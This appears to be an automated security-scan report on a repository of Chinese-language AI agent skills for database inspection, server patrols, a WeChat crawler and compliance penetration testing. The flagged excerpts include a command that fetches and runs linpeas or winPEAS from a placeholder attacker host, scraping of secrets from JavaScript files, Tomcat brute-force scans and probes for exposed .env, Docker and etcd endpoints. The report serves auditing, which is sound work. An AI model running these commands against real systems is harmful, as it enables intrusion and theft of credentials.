<head> <meta charset="UTF-8"> <script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script> - Network accessline 104
<meta charset="UTF-8"> <script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script> <style> - Network accessline 105
<script src="https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/kali/echarts.min.js"></script>
微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py
- Executable scriptline 1
Executable file - Network accessline 202
if current_url != 'https://mp.weixin.qq.com/' and 'mp.weixin.qq.com' in current_url: - Network accessline 231
def login(self): print("正在打开微信公众平台登录页面...") self.browser.open('https://mp.weixin.qq.com/') - Network accessline 233
self.browser.open('https://mp.weixin.qq.com/') - Network accessline 297
[Credential-related source omitted] - Network accessline 298
[Credential-related source omitted] - Network accessline 299
[Credential-related source omitted] - Network accessline 301
url = f'https://mp.weixin.qq.com/cgi-bin/appmsgpublish?sub=list&begin={begin}&count=10'
服务器巡检/README.md
服务器巡检/config.env
- Access to secretsline 66
[Credential-related source omitted]
服务器巡检/scripts/patrol.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 19
[Credential-related source omitted] - Dangerous shell operationline 456
rm -f /tmp/patrol-ping.$$ - Network accessline 469
check_tcp_port() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 470
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then nc -z -w 2 "$host" "$port" 2>/dev/null && echo open || echo closed - Network accessline 471
if command -v nc >/dev/null 2>&1; then - Network accessline 472
nc -z -w 2 "$host" "$port" 2>/dev/null && echo open || echo closed - Dangerous shell operationline 473
elif (echo >/dev/tcp/"$host"/"$port") 2>/dev/null; then - Network accessline 473
elif (echo >/dev/tcp/"$host"/"$port") 2>/dev/null; then - Access to secretsline 693
[Credential-related source omitted] - Access to secretsline 756
[Credential-related source omitted] - Dangerous shell operationline 1559
rm -f /tmp/patrol-out.$$
等保测评skill/skill.md
- Network accessline 114
waybackurls <目标域名> | grep -E '\.js$' | httpx -o js_files.txt for url in $(cat js_files.txt); do curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)' - Network accessline 115
for url in $(cat js_files.txt); do curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)' done - Network accessline 116
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 448
# Tomcat安全检测 nmap --script http-tomcat-brute -p 8080 <目标IP> curl -s http://<目标IP>:8080/manager/html | head - Network accessline 449
nmap --script http-tomcat-brute -p 8080 <目标IP> curl -s http://<目标IP>:8080/manager/html | head curl -s http://<目标IP>:8080/host-manager/html | head - Network accessline 450
curl -s http://<目标IP>:8080/manager/html | head - Network accessline 451
curl -s http://<目标IP>:8080/host-manager/html | head - Network accessline 453
# JBoss/WildFly nmap --script http-jboss-status -p 8080,9990 <目标IP> curl -s http://<目标IP>:8080/jmx-console/ - Network accessline 454
nmap --script http-jboss-status -p 8080,9990 <目标IP> curl -s http://<目标IP>:8080/jmx-console/ curl -s http://<目标IP>:8080/web-console/ - Network accessline 455
curl -s http://<目标IP>:8080/jmx-console/ - Network accessline 456
curl -s http://<目标IP>:8080/web-console/ - Network accessline 458
# WebLogic nmap -p 7001,7002 --script http-weblogic-t3 <目标IP> curl -s http://<目标IP>:7001/console/ - Network accessline 460
curl -s http://<目标IP>:7001/console/ - Network accessline 462
# phpMyAdmin curl -s http://<目标IP>/phpmyadmin/ - Network accessline 463
curl -s http://<目标IP>/phpmyadmin/ - Network accessline 464
curl -s http://<目标IP>/phpMyAdmin/ - Network accessline 466
# .git泄露 curl -s http://<目标IP>/.git/HEAD - Network accessline 467
curl -s http://<目标IP>/.git/HEAD - Network accessline 468
curl -s http://<目标IP>/.svn/entries - Network accessline 470
# .env泄露 curl -s http://<目标IP>/.env - Network accessline 471
[Credential-related source omitted] - Access to secretsline 471
[Credential-related source omitted] - Network accessline 493
# MongoDB未授权 nmap --script mongodb-info -p 27017 <目标IP> echo 'db.version()' | timeout 3 nc <目标IP> 27017 - Network accessline 495
echo 'db.version()' | timeout 3 nc <目标IP> 27017 - Network accessline 501
# Elasticsearch未授权 curl -s http://<目标IP>:9200/_cat/indices - Network accessline 502
curl -s http://<目标IP>:9200/_cat/indices - Network accessline 503
curl -s http://<目标IP>:9200/_nodes - Network accessline 505
# Memcached未授权 echo "stats" | timeout 3 nc <目标IP> 11211 - Network accessline 506
echo "stats" | timeout 3 nc <目标IP> 11211 - Network accessline 521
# 敏感数据传输加密 nmap --script ssl-enum-ciphers -p 443 <目标IP> curl -I -k https://<目标IP> | grep -i strict-transport-security - Network accessline 523
curl -I -k https://<目标IP> | grep -i strict-transport-security - Network accessline 525
# Cookie安全属性 curl -I http://<目标IP> | grep -i set-cookie - Network accessline 526
curl -I http://<目标IP> | grep -i set-cookie - Network accessline 573
# Docker API未授权 curl -s http://<目标IP>:2375/containers/json - Network accessline 574
curl -s http://<目标IP>:2375/containers/json - Network accessline 575
curl -s http://<目标IP>:2376/containers/json - Network accessline 577
# Kubernetes API Server curl -k https://<目标IP>:6443/version - Network accessline 578
curl -k https://<目标IP>:6443/version - Network accessline 579
curl -k https://<目标IP>:6443/api/v1/namespaces - Network accessline 581
# etcd未授权 curl http://<目标IP>:2379/v2/keys - Network accessline 582
curl http://<目标IP>:2379/v2/keys - Network accessline 639
# 权限提升(获取shell后) wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh - Dangerous shell operationline 640
wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh - Network accessline 640
wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh - Network accessline 641
wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe - Network accessline 842
配置文件格式 (djbh.conf): TARGET_NETWORK="192.168.1.0/24" TARGET_WEB_URL="https://www.example.com" - Network accessline 843
TARGET_NETWORK="192.168.1.0/24" TARGET_WEB_URL="https://www.example.com" TARGET_WEB_IP="192.168.1.10" - Network accessline 844
TARGET_WEB_URL="https://www.example.com"
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Combined signals: 1 fact
- Reads SSH keys, and the same file sends data over the network or runs a command (line 456)服务器巡检/scripts/patrol.sh:19High confidence
Declared and executed: 5 facts
- Contacts 192.168.50.68, which SKILL.md, the README and the plugin manifest do not mentionMySQL数据库巡检/scripts/mysql_inspect/mysql_trend_analysis.py:13High confidence
- Contacts xiaoyaozi666.oss-cn-beijing.aliyuncs.com, which SKILL.md, the README and the plugin manifest do not mention微信公众号文章数据爬虫分析/scripts/data_analyzer.py:105High confidence
- Contacts mp.weixin.qq.com, which SKILL.md, the README and the plugin manifest do not mention微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:202High confidence
- Uses SSH keys, which the skill description does not mention服务器巡检/scripts/patrol.sh:19High confidence
- Uses SSH keys, which the skill description does not mention服务器巡检/scripts/patrol.sh:756High confidence
Signal confidence: 117 facts
- Network access in code of the SKILL.mdMySQL数据库巡检/SKILL.md:42High confidence
- Network access in code of the SKILL.mdMySQL数据库巡检/SKILL.md:136High confidence
- Network access in prose of the SKILL.mdMySQL数据库巡检/SKILL.md:236Low confidence
- Network access in prose of the SKILL.mdMySQL数据库巡检/SKILL.md:237Low confidence
- Network access in prose of the SKILL.mdMySQL数据库巡检/SKILL.md:238Low confidence
- Network access in prose of documentationMySQL数据库巡检/reports/mysql-full-inspection-report-20250109.md:367Low confidence
- Network access in prose of documentationMySQL数据库巡检/reports/mysql-full-inspection-report-20250109.md:368Low confidence
- Network access in prose of documentationMySQL数据库巡检/reports/mysql-full-inspection-report-20250109.md:369Low confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_architecture.py:1High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_basic.py:1High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_connection.py:1High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_performance.py:1High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_prometheus.py:1High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_prometheus.py:33High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_prometheus.py:34High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_prometheus.py:35High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_report.py:1High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_report.py:109High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_report.py:110High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_report.py:111High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_security.py:1High confidence
- Executable script in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_trend_analysis.py:1High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_trend_analysis.py:13High confidence
- Network access in code of a file that runsMySQL数据库巡检/scripts/mysql_inspect/mysql_trend_analysis.py:31High confidence
- Network access in code of the SKILL.mdk8s负载检测及处置/SKILL.md:68High confidence
- Network access in code of the SKILL.mdk8s负载检测及处置/SKILL.md:69High confidence
- Network access in prose of the SKILL.mdk8s负载检测及处置/SKILL.md:229Low confidence
- Executable script in code of a file that runsk8s负载检测及处置/scripts/k8s_api/node_metrics.py:1High confidence
- Executable script in code of a file that runsk8s负载检测及处置/scripts/k8s_api/pod_evict.py:1High confidence
- Executable script in code of a file that runsk8s负载检测及处置/scripts/k8s_api/pod_locate.py:1High confidence
- Executable script in code of a file that runsk8s负载检测及处置/scripts/k8s_api/troubleshoot_report.py:1High confidence
- Network access in prose of documentationmysql-deadlock-analyzer/README.md:10Low confidence
- Network access in prose of documentationmysql-deadlock-analyzer/README.md:11Low confidence
- Network access in prose of documentationmysql-replication-lag-resolver/README.md:9Low confidence
- Network access in prose of documentationmysql-replication-lag-resolver/README.md:10Low confidence
- Network access in prose of documentationmysql-slow-query-diagnose/README.md:10Low confidence
- Network access in prose of documentationmysql-slow-query-diagnose/README.md:11Low confidence
- Executable script in prose of a file that runstemplate/resources/example.sh:1Low confidence
- Executable script in code of a file that runstemplate/scripts/test.py:1High confidence
- Network access in prose of documentationtidb_cluster_inspector/README.md:18Low confidence
- Network access in prose of documentationtidb_cluster_inspector/README.md:19Low confidence
- Executable script in a comment of a file that runs微信公众号文章数据爬虫分析/scripts/data_analyzer.py:1Low confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/data_analyzer.py:103High confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/data_analyzer.py:104High confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/data_analyzer.py:105High confidence
- Executable script in a comment of a file that runs微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:1Low confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:202High confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:231High confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:233High confidence
- Network access in code of a file that runs微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:297High confidence
and 67 more
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md MySQL数据库巡检/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.